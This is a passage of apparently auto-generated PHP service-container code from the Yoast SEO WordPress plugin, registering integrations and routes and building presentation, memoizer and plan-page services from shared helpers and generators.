$instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Woocommerce_Product_Category_Permalink_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\XMLRPC'); $instance->register_integration('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration'); $instance->register_route('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route'); $instance->register_route('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route'); $instance->register_route('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Available_Posts_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Cleanup_Llms_Txt_On_Deactivation'); $instance->register_integration('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Enable_Llms_Txt_Option_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\File_Failure_Llms_Txt_Notification_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Llms_Txt_Cron_Callback_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Schedule_Population_On_Activation_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Plans\\User_Interface\\Plans_Page_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Plans\\User_Interface\\Upgrade_Sidebar_Menu_Integration'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Importing_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Indexing_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Integrations_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Meta_Search_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\SEMrush_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Supported_Features_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Wincher_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Workouts_Route'); $instance->register_route('Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field'); $instance->register_integration('Yoast\\WP\\SEO\\Schema\\Infrastructure\\Disable_Schema_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Aggregator_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\Indexables_Update_Listener_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\WooCommerce_Product_Type_Change_Listener_Integration'); $instance->register_command('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cache_Cli_Command'); $instance->register_command('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cli_Command'); $instance->register_route('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Route'); $instance->register_route('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Xml_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Response_Header_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Robots_Txt_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Register_Post_Type_Tasks_Integration'); $instance->register_route('Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Complete_Task_Route'); $instance->register_route('Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Get_Tasks_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Tracking\\Infrastructure\\Tracking_On_Page_Load_Integration'); $instance->register_route('Yoast\\WP\\SEO\\Tracking\\User_Interface\\Action_Tracking_Route'); $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui'); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Loggers\Logger' shared autowired service. * * @return \Yoast\WP\SEO\Loggers\Logger */ protected function getLoggerService() { return $this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger(); } /** * Gets the public 'Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer' shared autowired service. * * @return \Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer */ protected function getMetaTagsContextMemoizerService() { return $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer(($this->services['Yoast\\WP\\SEO\\Helpers\\Blocks_Helper'] ?? $this->getBlocksHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] ?? $this->getMetaTagsContextService()), ($this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] ?? ($this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Presentation_Memoizer($this)))); } /** * Gets the public 'Yoast\WP\SEO\Memoizers\Presentation_Memoizer' shared autowired service. * * @return \Yoast\WP\SEO\Memoizers\Presentation_Memoizer */ protected function getPresentationMemoizerService() { return $this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Presentation_Memoizer($this); } /** * Gets the public 'Yoast\WP\SEO\Plans\User_Interface\Plans_Page_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Plans\User_Interface\Plans_Page_Integration */ protected function getPlansPageIntegrationService() { $a = ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()); return $this->services['Yoast\\WP\\SEO\\Plans\\User_Interface\\Plans_Page_Integration'] = new \Yoast\WP\SEO\Plans\User_Interface\Plans_Page_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), new \Yoast\WP\SEO\Plans\Application\Add_Ons_Collector($a, new \Yoast\WP\SEO\Plans\Domain\Add_Ons\Premium($a), new \Yoast\WP\SEO\Plans\Domain\Add_Ons\Woo($a)), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin_Conditional())), ($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] ?? $this->getPromotionManagerService()), new \Yoast\WP\SEO\Plans\Application\Duplicate_Post_Manager()); } /** * Gets the public 'Yoast\WP\SEO\Plans\User_Interface\Upgrade_Sidebar_Menu_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Plans\User_Interface\Upgrade_Sidebar_Menu_Integration */ protected function getUpgradeSidebarMenuIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Plans\\User_Interface\\Upgrade_Sidebar_Menu_Integration'] = new \Yoast\WP\SEO\Plans\User_Interface\Upgrade_Sidebar_Menu_Integration(($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())), ($this->services['WPSEO_Shortlinker'] ?? $this->getWPSEOShortlinkerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] ?? $this->getPromotionManagerService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Presentations\Abstract_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Abstract_Presentation */ protected function getAbstractPresentationService() { return $this->services['Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation'] = new \Yoast\WP\SEO\Presentations\Abstract_Presentation(); } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation */ protected function getIndexableAuthorArchivePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] ?? $this->getAuthorArchiveHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); $instance->set_archive_adjacent_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation */ protected function getIndexableDateArchivePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation(($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation */ protected function getIndexableErrorPagePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation(); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation */ protected function getIndexableHomePagePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation(); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); $instance->set_archive_adjacent_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation */ protected function getIndexablePostTypeArchivePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation(); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); $instance->set_archive_adjacent_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation */ protected function getIndexablePostTypePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Presentation */ protected function getIndexablePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Presentation(); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation */ protected function getIndexableSearchResultPagePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation(); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); 